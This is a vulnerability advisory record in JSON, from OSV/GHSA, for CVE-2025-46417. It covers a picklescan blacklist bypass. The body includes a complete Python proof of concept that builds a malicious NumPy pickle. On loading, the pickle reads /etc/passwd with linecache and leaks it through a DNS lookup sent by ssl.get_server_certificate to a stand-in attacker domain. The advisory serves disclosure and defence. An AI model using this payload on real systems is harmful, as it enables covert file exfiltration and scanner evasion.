{"id":"CVE-2025-46417","aliases":["GHSA-93mv-x874-956g","PYSEC-2025-34"],"title":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","summary":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","severity":"high","vendor":"picklescan","product":"picklescan","ecosystem":"pip","affected":["picklescan < 0.0.25"],"patched":["picklescan 0.0.25"],"published":"2025-04-07","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-93mv-x874-956g","references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46417"},{"url":"https://github.com/mmaitre314/picklescan/pull/40"},{"url":"https://github.com/mmaitre314/picklescan"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"}],"tags":["osv","pip"],"epss":0.00224,"epssPercentile":0.13339,"ingestedAt":"2026-07-08T18:25:47.724Z","slug":"CVE-2025-46417","body":"## Overview\n\n### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS\n\n## Affected packages\n\n- `picklescan < 0.0.25`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `picklescan 0.0.25`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}